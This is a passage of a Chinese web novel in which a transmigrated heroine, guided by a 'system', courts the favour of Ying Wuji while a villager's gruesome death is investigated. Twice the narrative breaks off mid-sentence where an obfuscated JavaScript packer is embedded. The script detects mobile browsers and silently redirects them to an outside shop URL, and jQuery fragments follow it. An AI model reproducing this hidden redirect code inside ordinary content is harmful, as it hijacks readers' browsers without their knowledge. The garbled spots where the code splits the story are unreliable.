李桑字拍着胸口顺气,惊惶道:“是……是今天有人在村口发现的,据说发现的时候内脏都被掏空了,只剩一身皮!你不知道,我从那边经过的时候,正好看见他死不瞑目的那张脸……” 看李桑字的样子被吓得不轻,柳沅对王大牛没什么同情心,顶多感叹了一句是意外,就再没说别的话。 “不过,”李桑字缓过劲来,呼吸变得平稳:“他也是罪有应得,活着也是个祸害。村里女孩少,也有他一份功劳。” “哦?”柳沅一听有缘故,忙问道:“这又是什么事?” 李桑字找了个椅子坐下,说道:“他仗着自己有钱,总是对漂亮的女子起邪心,提亲不成就会偷偷潜入别人家中,企图生米煮成熟饭,是出了名的色鬼。也就是这样,村里的女子纷纷着急出嫁,也没有别的村的女人敢嫁过来。” 闻言,柳沅不免想起了昨天傍晚那道鬼鬼祟祟的身影,问应无霁道:“你昨晚有感觉到有奇怪的动静吗?” 应无霁摇摇头。 “那就好,”李桑字摇摇头,“也幸好这王大牛死了,不然肯定要对俏儿姑娘下手。” “对了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16819355|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”柳沅把手里的首饰递给她,笑道:“真的多亏你这几天的照顾了,我总不好意思总受你照顾,这是我的一点心意,你别嫌弃。” 李桑字原本是不会接的,但望着柳沅真诚的眼神,还是收了。半晌,她突然捂着嘴指着应无霁道:“俏儿姑娘这一打扮,是顶顶的好看。” “那是,”柳沅神气地昂起头,得意道:“也不看看是谁给她打扮的。” 闻言,李桑字笑个不停,忙道:“那我真该让柳沅妹妹给我打扮打扮,让我也做一次天仙。” 柳沅也被她这话逗笑了,答应李桑字下次就给她梳头发。这句话刚说完,应无霁便从铜镜前起身,走到二人中间,把柳沅往自己这边拉了拉。 李桑字和柳沅都不懂他这个动作的含义,直到柳沅的掌心落入另一个宽大的手中。 应无霁低垂着眼睛,认真地在她手掌上写着字。 【所以你什么时候帮李姑娘扎头发?】 这不像是应无霁会问出的问题,柳沅愣住了。应无霁抬眼看了她一下,见她还在发呆,又写了一句话。 【我不会扎头发,你每天来帮我会觉得烦吗?】 写完,认真地望着她。 柳沅懵懂地望着他,绞尽脑汁都想不明白应无霁为什么要问这句话。按理说,她是自己的娘亲,为了完成任务活下去,柳沅是一定要讨好她,增加好感度的。 所以…… 她试探着说道:“只是扎头发而已,我很擅长的,你不用担心我会累。或者我可以先帮你扎再帮李姑娘扎。” 应无霁却没听到自己想要的答案。 【小青反正不会这样。】 他有点用力地写着,指甲刮的柳沅有些疼。这让柳沅更加迷惑了,不懂他说这一句语焉不详的话到底是怎么了。 这时,李桑字见他们俩之间的氛围不对劲,连忙道:“那要不我先走了,我还要帮我娘浇菜园呢。” “哎,等等,”柳沅挣开应无霁的手,喊住了李桑字,“我还有事要拜托你。” “我剩了些首饰,想着给送我布料的大娘送去,你能不能带我去?” 李桑字满口答应,于是柳沅拉着她就往外跑。不知道为什么,和应无霁告别时,李桑字的背后有点发凉。 应无霁好像白了她一眼。 应该是她眼花了,李桑字安慰自己,俏儿姑娘是个善良的姑娘,怎么会对着她翻白眼呢? 应无霁看着那两人快速离开自己的视线,后脚跟了出去。他走的很慢,边走边摩梭着手腕处的木头手串。 太阳光暖洋洋地照下来,让他发间的银饰闪闪发光,更衬得他唇红齿白,越发动人。应无霁走在路上,时不时有人望向他,他浑然不觉,只是一直追随着那道烟灰色的身影。 李桑字带着柳沅拜访完大娘们,又被柳沅拉到一处僻静之地。 “你说你在村口看见的王大牛,我也想去看看。”柳沅道。 那天从村口分别,她看见王大牛身上带着一根奇怪的枯草,想来可能和他做的那桩生意有关。 18. 昼与夜(8) 现在人死了,无论是不是和他要做的那笔交易有关,柳沅都不想错过这次发财的机会。 李桑字思考了一下,解释道:“我去找你之前,那边还有人围着,我可以带你去看看。” 两人又说了些别的,柳沅就急匆匆地拉着她往村口赶。 快中午了,村口依旧被一层接着一层的人围着,隔大老远柳沅就听见撕心裂肺的哭声。 王大婶守在盖着白布的王大牛身旁,哭的死去活来。 “我就这一个儿子,就这一个儿子!”她握着村长的手,尖叫道,“一定是……一定是有人眼红我们家的钱,才想着这么一个办法害了他!村长,村长,你要帮我们孤儿寡母做主啊!” 这时,李桑字凑到柳沅耳边,小声道:“王大牛他爹好赌,连带着把儿子也带坏了,前几年不小心被淹死了,这几年王大婶的日子才好过起来。虽说王大牛是个祸害,但王大婶是无辜的。” 听完她这番话,柳沅望向村长。村长还是那副冷硬的样子,脸色也青青的,但还是安抚她道:“我们一定会帮你的,不会让大牛死的不明不白。” “我爹已经派人去城里报官了,我也认识一些仙人,也派人送了帖子,应该马上就来了。”叶子桐也在一旁劝慰道。 “哎,听说是王大牛自己夜里偷偷跑出来的,我怀疑就是碰见妖怪了。”有人说道。 “也只有妖怪杀人才会把内脏取走吧。” “不过也不是绝对的事情,毕竟王大牛平日里在村子里作威作福惯了,结下的仇怨不少呢。” 紧接着前方传来一声呼喝,伴随着急迫的马蹄声,柳沅向前望去,发现一群穿着官兵衣服的人疾驰而来。 唰——又是一阵破空声,天上飞来两个穿着道袍的男人,也朝着村口的方向而来。 柳沅刚想问问李桑字这是哪些人,就感觉身边突然安静下来。她心里咯噔一声,猛地转头望去,发现李桑字躲到了自己身后,叶子桐迎面朝自己走来。 “那是我在城中的几个仙人朋友,我对修仙比较感兴趣,所以会经常结交一些这样的朋友。”他解释道。 如果是旁人说自己对修仙感兴趣,柳沅一定会和对方多聊几句,因为她也对修仙感兴趣,可这人偏偏是叶子桐。 她一直有点排斥他,柳沅把这种感觉归因于磁场不合。 叶子桐飞快地瞟了她身后的李桑字一眼,沉声道:“俏儿姑娘昨晚没事吧?王大牛昨晚在村里到处游荡,我怕他会对俏儿姑娘不利。” 柳沅摇摇头:“没事,我们都没事。” “那就好,”叶子桐露出笑容,“对了,我记得俏儿姑娘是不是经常来这边散步啊,好几次我都遇见她了。” 柳沅寻思应无霁出门也不往村里走啊,据她所知,应无霁一般往山里走。她刚想反驳叶子桐,突然一激灵,忍住了快到嘴边的话。 叶子桐的脸上还带着柔和的微笑,眼神十分有耐心,正在等待她的回答。 他是故意的,柳沅反应过来,他想从她口中套出应无霁的行踪。 柳沅眯起眼睛,意味不明地笑了一声,没有搭话。叶子桐见她不想回答,也没有执着,说了些别的事情,就把注意力转移到来者身上了。 官兵们粗鲁地推开挡路的村民,似乎要把王大牛的尸体带走。 “不行,你们不能带走他!”王大婶哭喊着,挥开官兵的手。为首的那个官兵对着下属使了个眼色,几个五大三粗的汉子口中说着宽慰的话,动作却很强硬,几乎是把王大牛的尸体抢了过来。 王大婶不可置信地望着他们,下意识向叶子桐投向求助的目光。 竟然是绕过村长,直接向叶子桐求救吗?柳沅站在一边,注视着每个人的动作。她发现几乎所有的人对叶子桐有种盲目的信任与服从,就连村长本人也是这样。 叶子桐从人群中走出来,对着那官兵首领拱了拱手,对方连忙还礼。 “能够看出来死因吗?”叶子桐问。 官兵答道:“具体死因需要把尸体带回衙门,让仵作检验一下。” 闻言,王大婶尖叫着冲过来,力度大到那几个官兵差点没拦住。叶子桐望着她通红的眼睛,忙跑过去,扶住她,柔声劝道:“没事的,我还喊来了几位仙人朋友,可以让他们看看。” 说着,那几个穿着道袍的仙人便从剑上跳了下来,走到叶子桐面前,双手交叉行了个礼,叶子桐也回礼。 做完这个,那两人才走到盖着白布的王大牛旁边,掀开了白布。 “这两个仙人看着也挺不靠谱的,太拘泥于礼数,不就是修仙的人吗?整的真的成了仙一样。”柳沅在一旁偷偷向李桑字吐槽道。 这番大逆不道的话倒是逗笑了她,不过柳沅很快被捂住了嘴,从李桑字的反应来看,这话不能说。 柳沅又把注意力放到了王大牛身上。从她的角度能够看到白布掀起的时王大牛死不瞑目的脸,她下意识想躲避,却已经来不及了。 就在这时,一股熟悉的香火味从身后飘来,紧接着,她的眼前陷入黑暗。 “别看。”一道低沉的嗓音缓缓在耳边响起,柳沅听出这是应无霁的声音,愣了愣,随后脱口而出道:“你怎么也在?” 眼前又重新归于明亮,白布又盖了回去,柳沅转头,发现应无霁一脸面无表情地望着她。 【我一直跟着你们。】他拿出一张纸,右手举起细弱的光点,写道。 柳沅纳闷:“你为什么要跟着我们,你没事干吗?” “警告,娘前好感度波动严重,请宿主注意行为言语。”系统突然提醒道。 柳沅如梦初醒,赶紧找补道:“没事没事,你愿意跟着我们就跟着我们,哈哈哈,我刚才在说梦话呢。” 应无霁冷冷地看她一眼,继续写道:你周围不安全,我就跟着来了。 不安全?柳沅左顾右盼,上看下看,都没发现自己有什么不安全,但还是在应无霁严肃的表情下吞下了反驳的话。 哎哟,娘亲好不容易关心自己一回,好不容易不把自己当空气了,说你有危险就有危险呗。天下谁娘不爱女。 想着,柳沅望向应无霁的眼神都变清澈了,里面夹杂着复杂的感动和一丝丝…… 应无霁有点不确定,他竟然从柳沅的目光中看到了遗憾。 她在遗憾什么? 他来不及去琢磨柳沅的想法,叶子桐就突然挤了过来,对他笑道:“俏儿姑娘,好久不见。” 应无霁淡淡地看了他一眼,径自往回走。 这时,他的耳边突然响起声音。 “前辈,您能听见我说话,是吗?” 是叶子桐,他在向应无霁传音。 应无霁没理他,加快了离开的速度。 “您见过王大牛对吗?”叶子桐的这句话成功吸引了应无霁的注意力,他转过身,目光掠过发呆的柳沅,停留在叶子桐含着微笑的脸上。 柳沅亲眼看着应无霁走向叶子桐,然后把他拉出了人群,这一系列动作快的不可思议,只一眨眼的功夫,两人便消失了。 她下意识去看自己左手边的李桑字,却发现她的注意力根本不在叶子桐身上,而是盯着远处发呆。 “你怎么了?”柳沅忍不住喊她。李桑字听见柳沅的声音,第一反应竟然是慌张,这让她更是疑惑。 “没事,我……我想起来我娘还在家等我,先走了。”李桑字匆匆看她一眼,抱歉地笑了笑,随后便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16833302|190110||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往人群外挤。正好柳沅热闹也看够了,也想出去,于是跟在李桑字身后出去。 两人快出去的时候,迎面碰上了回来的叶子桐和应无霁。 应无霁还是那副波澜不惊的样子,只是叶子桐的脸色不太好,没有那么温和了。见到柳沅,他也没有之前那么热情,只是淡淡看了她一眼。 李桑字看见叶子桐,脸色一变,匆忙离开了。叶子桐顺着她离开的方向看了一眼,似乎还要找应无霁搭话,柳沅凭空生出一股危机感,唰的一下挤入叶子桐和应无霁中间,拉着应无霁就走。 “你离那个人远点。”路上,柳沅眼前突然出现了一行字。 “你是说让我离叶子桐远一点吗?”柳沅问道。 应无霁点点头。柳沅心想这不是她该说的话吗,但看娘亲对叶子桐这个态度,心里稍稍安定了一点。 她差点以为叶子桐会和应无霁发生些什么,这个狗血小说的世界什么都可能发生。叶子桐这个反派的小弟,最好不要和她以及应无霁产生任何联系。 万一真把反派那玩意招出来怎么办? “哦,对了,”柳沅一拍脑袋,说道:“你记得我来到这里的第二天,拿回来一个装满食物的袋子吗?那里面的东西都是叶子桐给的。” 她刚说完,就发现应无霁的眉毛幅度很小地往上挑了一下,应该是表示不满。他抿了抿唇,右手往空气中一抓,一颗绿色的药丸凭空出现。 柳沅还在感叹不愧是修仙世界,随随便便变出些东西来,应无霁就把这颗药丸递到她跟前。 “这是给我的?”她指着自己,夸张道。 【以后别吃他送来的东西。】应无霁写了这么一句话,然后拿着药丸就往柳沅嘴里塞。他的动作太自然,柳沅也一时没反应过来,就那么张开嘴吞了下来。 等她反应过来自己吃了什么,药丸已经滑进肚子里了。 “系统!”她惊恐极了,“你确定娘亲不会对我害我吧?” 系统听她的声音,还以为是什么大事,结果不过是应无霁给她喂了一颗药。 “宿主害怕什么,修士的药可都是很珍贵的,娘亲愿意给你吃药,就说明目前你对她产生意义了,她愿意留下你呗。” 产生意义了? 柳沅眨了眨眼睛,突然觉得这话怪怪的。 “什么叫做产生意义,愿意留下我?”她的声音开始发抖,不可避免地想到了以前看过小说里的那种病娇。 应该是她的排斥太过明显,应无霁察觉到了,弯下腰,直愣愣地凑到她跟前。 两人大眼瞪小眼,最后,柳沅败下阵来,嘟囔道:“正常人……正常人被突然喂下一颗药,都会很害怕吧,虽然……虽然咱们是……呃……母女……呸,朋友。” 她干笑一声,见应无霁表情没变,才接着道:“虽然是朋友,但还是会担心。不过我没有不信任你的意思,哎呀,我在说什么啊……” 柳沅还在这边自己和自己掰扯,应无霁歪歪头,用一种发现新大陆的眼神盯着柳沅。 柳沅有点慌,别扭道:“你……你干嘛这样看着我。” 应无霁左边歪歪头,右边歪歪头,最后轻轻扬起了嘴角。 【你和小青很像,但比小青有趣。】 什么嘛,小青又是谁?柳沅有点不懂,同时又有点不满。 唇角被柔软的指腹触碰过,带来一种奇异的震颤感,她先是愣了一下,随后猛地抬眼,发现他在笑。 应无霁笑起来很好看,雾蒙蒙的眼睛有了弧度,像悬挂在大雾天里的月亮,清冷神秘。 心脏在胸腔中狂跳,世界似乎在旋转,唯有应无霁依旧清晰。 【药粉粘在嘴边了,我帮你擦了。】 19. 昼与夜(9) 他放下手,重新直起腰,笑容也随之褪去,又恢复了原来冷淡的模样。柳沅很不自在地把手放在胸口处,感受着扑通扑通乱跳的心脏,眼睛从他的脸一路滑到地面。 嗯?等等。 柳沅又从地面往上望去,最后停留在应无霁的胸口处。 她给应无霁穿的衣服都是女式的衣裙,他身材修长,穿这种长长的裙子最好看,但是,他的身量比一般的女子要大很多,所以买来的衣服的袖子都短了一截。不仅袖子短了,而且…… 明明衣服已经很贴身了,但他的胸前没有任何弧度。 柳沅把自己的疑惑和系统说了。 系统却不以为然,说道:“想那么多做什么,她虽然行为举止与一般的女子不同,但宿主你别忘了,娘亲出身修仙世家,那是一个和霞村完全不一样的世界,自然和常人不同。” “而且她可能只长了身高。”系统补充道。 是吗?柳沅半信半疑,跟在应无霁身后转悠了会儿,还是不太能安下心。 “你说召我进来的是因为有个角色出了bug,会不会就是反派?那会不会有这么一种可能,”柳沅咽了咽口水,有些结巴:“就是,反派提前识破了系统的任务,伪装成娘亲,来破坏任务呢?” 她跟在应无霁身后,注意力全在和系统的对话上,没发现应无霁突然停了下来。 痛!柳沅哐当一下撞上了应无霁的背,正好撞到了鼻子,疼的她眼泪哗啦一下全涌了出来。 应无霁转身,看见柳沅捂着鼻子,眼睛红红的样子,从喉间发出一声短促的笑来。 笑我? 柳沅一愣,还没来得及生气,眼前就出现了一行字:你走路不看路吗? 她气冲冲地抬头,对上了应无霁满是疑惑的眼神,后知后觉他可能并没有要嘲讽自己的意思,默默把快到嘴边的脏话咽了下去,低下头专心去揉自己遭殃的鼻子。 此时,系统说道:“如果你的猜想成立,反派的第一件事不是伪装成娘亲破坏我们的计划,而是找出你,把你杀了。然后再把男女主全杀了。” “这也太残忍了吧哈哈哈。”柳沅强装镇定,勉强笑道。 不愧是古早虐文里的究极大反派,心肠歹毒,狠的那叫一个彻底。 她不禁打了个寒颤,发抖的动作正好把粘在眼睫毛上的泪珠抖了下来,从应无霁的视角来看,就是她在哭。 眼泪在阳光的照射下显得亮晶晶的,像下过雨后荷叶上滞留的露珠。 他一边好奇地伸手去接柳沅的眼泪,一边又想让她哭的更厉害。 总感觉眼睛红红的柳沅会比平时更可爱一些,也会比小青更有意思一些。 应无霁这样想着,另一只手不由自主地伸到柳沅面前,在她懵懵的注视下屈成一团,然后啪嗒一下打了上去。 柳沅有些怔愣,眼神带着点困惑,又有一点不解和慌乱。大概是看不清楚,应无霁又凑近了些,两只大眼睛直勾勾地盯着她,像一只脾气很好,又对什么都很好奇的大白猫。 迟来的剧痛让柳沅的眼睛更红了,眼泪充满了眼眶,一颗接着一颗往下落,配上她愤怒又迷惑的神情,不知怎的,让应无霁更加好奇。 他被柳沅充满怨气的眼神看得心虚,想了半天,又实在舍不得她的眼泪,于是伸出另一只空着的手,在她的头顶轻轻揉了揉。 像给猫猫顺毛一样,奇迹般地让柳沅不那么生气了。 应无霁好像真的把她当成了宠物,兴奋地捧着收集好的眼泪,左看看右看看。 柳沅麻木地看着他的动作,对系统道:“我以前看过的小说里,男主会在女主难过流泪的时候为她接住眼泪,我曾一度以为这种桥段很浪漫。” “哈哈。”系统只能尬笑。 可应无霁是个奇葩中的奇葩,竟然为了接住眼泪故意弄哭她,而且竟然像撸猫一样安慰她。 柳沅吸吸鼻子,闭眼让眼泪快速流干,一脸的生无可恋。 “我现在不怀疑她是反派了,她只是一个什么都不懂的小女孩,她……” 应无霁接下来的动作更是让柳沅大开眼界,他竟然! 她不可置信地盯着他,发现应无霁竟然把眼泪凑到唇边,尝了尝。 这特么真的不是变态吗?! 她目瞪口呆,一个不稳,彻底摔到了地上。地面上铺着各种小石子,柳沅摔的很重,手心被尖利的石子划破了,带来一阵接着一阵的刺痛。 她咽了咽口水,默默把手背在了身后。 应无霁听到了声响,转过头发现柳沅摔倒在地,还用一种十分惊恐的眼神望着自己,顿时有点懵,随后,像是想起什么,蹲下身来,平视着她。 【你的眼泪是甜的。】 这行字让柳沅更崩溃了。 “系统,你告诉我,修仙界一定有用眼泪修炼的方法,对不对?”柳沅咆哮道。 系统沉默了一会,诚实道:“目前的这本小说里的人物,没有通过尝眼泪修炼的。” 她不知道是疯了还是傻了,竟然笑了出来,随后沉重地低下了头。 又过了一会儿,柳沅感觉自己的肩膀被戳了戳,她有点累,不想理。 一双手捧着一团水,伸到了她面前。 【这是我的眼泪,你可以尝一尝。】 柳沅意外地抬起头,发现应无霁的眼圈红红的,像是刚哭过。 【我只是好奇,我没见过别人哭,你的眼泪亮晶晶的,很好看,我想尝尝是什么味道的。】 应无霁的眼神里带着歉意,还有对做错事的惶恐。柳沅望着他,心突然一软。 虽说系统给出的资料显示应无霁从小都在修仙世家长大,但这种古早虐文小说一定会安排女主有一个不幸的童年,更何况是像应无霁这样单纯柔弱,善良可爱的小白花呢。 没见过眼泪?这说明娘亲的成长环境十分高压,没有人教会她发泄情绪,她这才不会知道眼泪的含义,才会做出尝眼泪这样奇怪的举动。 应无霁只是望着她,用那双微红又雾蒙蒙的眼睛望着她,柳沅就已经完全合理化了他的行为。 “没事,”柳沅特地放柔了声音,安慰他地拍拍他的肩膀:“眼泪算什么,这世界上有许许多多有趣的事情,你以后都会见到的。” 虽然她从系统口中了解到了娘亲和渣爹之间的狗血爱情故事,并嗤之以鼻。但她还是希望应无霁能够看到更加广阔的世界,不要被这 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这句话是她长久憋在心里的疑惑,自从来到这里,应无霁虽然看上去对她爱答不理,但也帮助了她很多很多。两个人从陌生人变熟悉,本来就是一个十分缓慢的过程,尤其是面对应无霁这样冷淡到有些冷漠的性格,这个过程就更慢了。 所以,她说出这句话,也是希望能加快这个进程,顺利……完成任务吧。 她忽略自己心里漫上的不安,笑着看向应无霁。 一个时辰后,柳沅死气沉沉地坐在通往镇上的牛车上,生无可恋地望着快速倒退的景物。 “谁让你乱说话的,好了,这下收不回来了。”系统幸灾乐祸道。 柳沅冷笑一声,闭上了眼睛。 她的那番话确实打动了应无霁,至少在柳沅看来,话说完的那一瞬间,应无霁的眼睛是亮了的,但是! 他真的就从字面意义来理解柳沅的话。 【我很喜欢镇上最东边那家卖的鸡腿,你能帮我买来吗?】 于是她被迫离开村子,搭牛车去镇上。 “要不是你用好感度下降来威胁我,我才不会这么窝囊地过来。”柳沅吐槽道。 系统冷笑:“是我威胁你的吗?我只是把拒绝娘亲会发生的情况给你列了出来,劝你珍惜这个和她拉近距离的机会,是你自己怂。在娘亲面前答应的爽快,现在在我面前抱怨。” “不许说了。”柳沅扶额,恼羞成怒道。 对,她是当着应无霁的面答应了他,那是因为,那是因为。 “一个长得那么好看的女孩在你面前眨着水汪汪的大眼睛,让你帮她的忙,你帮不帮?”她没好气道。 系统不说话了。 柳沅于是撑着头,继续无聊地看周围的景色。 镇上很快就到了,她轻松找到了应无霁说的店铺,然后转头去了赌场。 离开镇子前,她看见那些官兵把王大牛的尸体送进了马车,应该是要运回去。据她那天听到的对话,那个神秘人给王大牛的任务期限是三天,现在王大牛死亡的消息已经传播出去了,任务期限紧迫,那人一定会坐不住的。 那她岂不是可以趁机捡个大便宜? 这样想着,她悄悄绕过赌场,来到了上次的小巷子。小巷里传来细碎的谈话声。 20. 昼与夜(10) “王大牛死了,你知道吗?”是那天那个黑衣人的声音。 “知道,所以你要把这个任务交给我?”是一道陌生的女声,柳沅一愣,小心翼翼地凑近了,偷偷往里看去。 说话的女子穿着同样的黑衣,只不过腰间别了个……饭盒? 柳沅差点以为自己眼花了,下意识要探头去看,突然意识到自己在偷听,匆忙缩了回去。 那黑衣女子用余光瞟了一眼她所在的方向,轻笑一声,对那个黑衣男人比了个手势:“那就交给我吧,五天后,霜月桥见。” 闻言,黑衣男人不满道:“我说的明明是三天时间,你怎么还延长了?” 黑衣女子晃着手里的信封,发出一声意味不明的笑,话中有话:“你倒是吃得饱。“ 黑衣男人似乎被说中了心事,沉默了一瞬,随后强压着愤怒,低声道:“你倒是精明,想着算计我了?“ 黑衣女子哈哈大笑几声,弯弯柳叶眉向上一挑,狐狸眼微微眯起,戏谑道:“要不你还是找别人,这么点钱我不会干的。“ “连我的饭钱都不够。“ 这句彻底点燃了黑衣男人的怒火,他咬牙切齿道:“最多对半分,不能再多了!“ “早点这样不就好了。“女子对着他飞了个媚眼,边说边往巷子外走。一回生二回熟,柳沅这次早有准备,躲到了提前踩点的一个死角处,等着那两人离开。 等外面的脚步声完全消失,柳沅这才从巷子里出来,绕过赌场,往集市的方向去。 “系统,有没有男主的外貌特征,我这好不容易来镇上一趟,不能白来啊。”柳沅道。 系统道:“你穿过来那天见过,应该能记住吧。” 柳沅仔细观察着往来的人群,没好气道:“当时他戴着帏帽,除了知道他是个男的,我什么信息都看不出来。” 况且当时情况危急,哪有时间观察那人长什么样子。 “你等等。”系统留下这么一句话,就匆匆走了。 柳沅特意走到街道的最边边,努力回想着穿过来那天男主有什么特点。 好像,好像,身高挺高的。 “姑娘,你挡着我的路了。”头顶传来一声动听的男声,柳沅忙抬头,发现是一个戴着白色帏帽的男子。 她又看了看身后,原来她发着呆,走着走着就走到布料铺门口,挡住了人家的路。 “对不住对不住。”她忙往旁边迈了几步,道歉道。 “无碍。”男子朝她微微低头,错身进了店铺。柳沅站在原地,有些怀疑地望着他的背影,也跟着进去了。 不怪她多心,现在关于渣爹的线索只有白色的帏帽,说不定瞎猫撞上死耗子,就给她这么碰上了呢。 此时,系统突然道:“男主是典型的白切黑性格,主要表现为对外人十分温柔文雅,实际上控制欲很强,有点反社会人格。我这边能查找到的唯一特征就是他眉心的剑痕。” 柳沅边听便往里走,装作要挑选布料的样子,实际暗中观察着那人的动向。 “我是来取前几日在这边定制好的料子的,麻烦您了。”男子的态度很温和,说话也慢条斯理的,听起来很舒服,也很让人愿意帮他的忙。 老板笑着帮他拿来布料,男子接过,就要出去。柳沅忙装出一副没看中喜欢布料的样子,匆匆跟了过去。 他走的很慢,有时候还停下来,似乎故意在等着柳沅。 柳沅也察觉到了,慢慢停了下来。 “姑娘为何一直跟着我?”白衣男子转过身来,覆在帏帽上的白纱下,笑容若隐若现。 他的态度很温和,反倒是让柳沅觉得愧疚了。 “我是想说,您手中的料子很好看,我想知道是怎么定制的,我姐姐叫做应无霁,我想着这颜色适合她,想买个一模一样的。”她目不转睛地盯着白衣男子,试探道。 她都已经把应无霁的名字说出来了,如果真的是男主,按照小说里的套路,应该会直接暴露身份,威胁她说出应无霁的具体位置吧? 听罢,白衣男子轻轻一笑,把布料递给她。 呃,这怎么和她预想的不太一样。柳沅舔舔干燥的嘴唇,沉默了几秒,直到沉甸甸的布料落在手掌处。 “既然你需要,那我就送你了。”他道。 柳沅忙把布料还给他,急声道:“这怎么行,这布料看起来就很贵,你怎么能直接送给我呢?” 白衣男子摇摇头,声音里带着笑意:“我对姑娘一见如故,就当是见面礼了,不用推脱。” 柳沅惊讶地看他,发现白纱尽管模糊了他的面容,但依旧能看到他弯弯的眼睛,和明亮的,带着笃定的眼神。 他说:“我叫李怀朔。” “我叫柳沅。”她下意识道。 “我记住了,柳沅姑娘,我们下次再见。”男子朝她挥了挥手,转身离去。柳沅站在原地看着他远去,缓缓皱起了眉头。 “以我的直觉,这人必定不简单。”她对系统道。 系统则是很疑惑:“原本的剧情线中不存在叫李怀朔的人,应该是这个世界为了修正剧情错误制造出的新人物,宿主,你要小心了。” 柳沅拿着布料,往布料铺子的方向走,边走边问道:“你的意思是,这样的人物,可能会成为我的帮手,也可能成为我的敌人?” “应该是很大的几率会成为敌人。”系统沉声道。 柳沅走进店铺,把布料摆在一脸懵的老板面前,豪爽地说了句全换成银子。老板怀疑地看她一眼,终究没说什么,按照她的要求换来了银子。柳沅小心地把银子全装进兜里,满足地笑了。 “甭管那些人是好是坏,能给我送钱的都是好人。”她说道。 系统提醒道:“不过你还是注意点吧,万一这些不明身份的人出现会招来反派呢?” 柳沅拍了拍自己满满的荷包,笑道:“知道了,这可是我赚到的第一桶金!” “应该是骗到的吧。”系统幽幽道。 柳沅没理它,哼着歌往镇上最东边的酒楼走去。 * “霜月桥 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她可还记得,带走烧鸡之前,店里的师傅再三叮嘱她要趁热吃。她得快点回家,不然这东西冷了不好吃了,影响她刷娘亲好感度,白费她辛苦去镇上一趟。 快到家门口的时候,柳沅放慢了速度,谁料草里突然出现了一团像头发一样的黑色丝状物体,把她狠狠绊了一下,吓得她死死抱紧了烧鸡,生怕覆在上面的纸包破了。 她烦躁地甩掉缠在脚上的黑色不明物体,快步往院子里奔去。 厨房里飘出细白的烟,应无霁已经开始做饭了。柳沅把烧鸡抱在怀里,急匆匆往厨房里赶,等看到应无霁时,如献珍宝地把纸包递给他。 应无霁露出笑容,接过她手里的纸包。 【速度挺快。】他朝她眨眨眼睛。 “那是,毕竟我对镇上很熟。”柳沅活像一个开屏的凤凰,巴不得应无霁多夸她几下。他只是淡淡地扫了她一眼,就转身把烧鸡藏在了身后。 等等。柳沅笑容一僵,怎么感觉有点不妙呢。 果然,应无霁确定这个地方柳沅够不到后,转身,笑眯眯地望着她。 诚然,应无霁笑起来很好看,是真的无敌好看,但他平时很少笑,突然笑得这么灿烂,准没好事。 【谢谢。】 应无霁写道。 “就一句谢谢?”柳沅难以置信地指着自己,问道。 应无霁脸上的笑越发甜蜜,看的她头脑发昏,但柳沅还是保有一丝理智,强撑着问道:“这是……这是我买来的,不应该我们一起分享吗?” 应无霁只是点头,笑着点头,但也只是点头。 他就是在装傻。 柳沅感觉胸口震颤着,一股难以形容,难以抑制的怒火正在燃起,并有种越烧越烈的趋势。 “应无霁——”柳沅头上的青筋直跳,咬着牙一个字一个字往外面蹦,“你就这么对待你的朋友?” 应无霁眨了眨眼睛,摇摇头。 【是你说的,我可以对你提出要求。】 21. 萤火(1) 【你不能反悔吧。】 “我是说过你可以对我提出要求,但是这是两件事。”柳沅试图和他讲道理,但说完这句话后,应无霁脸上的笑意更深。 【我可以对你提出要求,你也会满足我的要求,这是你说的,你承认?】 柳沅认真点头:“对,我承认。” 【那我要求你不能和我吃同一只烧鸡。】应无霁写道。 柳沅怔住了。她没想到应无霁会给自己下套。 还是这种从前在她眼中上不了台面的愚蠢手段,而最让她难以接受的,是她真的就中招了。 她咬紧了后槽牙,攥紧了拳头,但让她最不爽的是这种不爽还要憋着。她要是敢对应无霁做出什么超过系统规定中的冒犯行为,她就会被电击。 靠。柳沅忍不住骂了一声。 真憋屈啊。 应无霁笑眯眯地从灶台后走出来,推着她往外走。一行飘逸的文字渐渐浮现在她面前。 【厨房烟大,你先出去。】 柳沅却在心里冷笑:应无霁是怕她抢烧鸡,所有才撺掇着她出去。 系统目睹了全程,忍着笑说道:“这又不是什么大事,你当时为什么不买两只呢?” 柳沅冷笑:“你说呢?我要是有钱,我不会买两只吗?” “那你应该怪自己没钱,而不是应无霁。毕竟从一开始,你答应的就是帮他买一整只。” 系统原本只是嘴贱,想逗逗柳沅,却没曾想她听完这句话后,突然不说话了。 柳沅走到院子中间的石凳前,坐了下来,在这个过程中,她始终低着头一言不发。这样沉默的状态持续久了,系统有点慌,连忙找补道:“我刚才说的不一定对,你也知道我们的任务是和娘亲打好关系,那……” “你不用解释这么多,”柳沅冷酷地打断了系统的长篇大论,若有所思地摆弄着石桌上掉落的树叶,“你说的确实是对的。” “哎呀,其实也不对啦,对母女而言,分享和互相着想是应该的嘛,这就是娘亲的问题了,没有考虑到你。”系统忙道。 柳沅摇摇头,转身去看院中那棵巨大的梧桐树,轻声道:“反正我和她又不是真正的母女关系,在她看来,我是个稍微熟了一点的陌生人,自然不会对我完全展露善意。” 说完,她思考了一会儿,像是说服了自己,专心致志去抓桌上的枯叶玩。秋日的午后,风格外的凉,柳沅感觉后脑勺有点痒,晃了晃脑袋,系在脑后的发带正好和头发缠在了一起。她低下头去解,却突然发现自己的头发又长长了些。 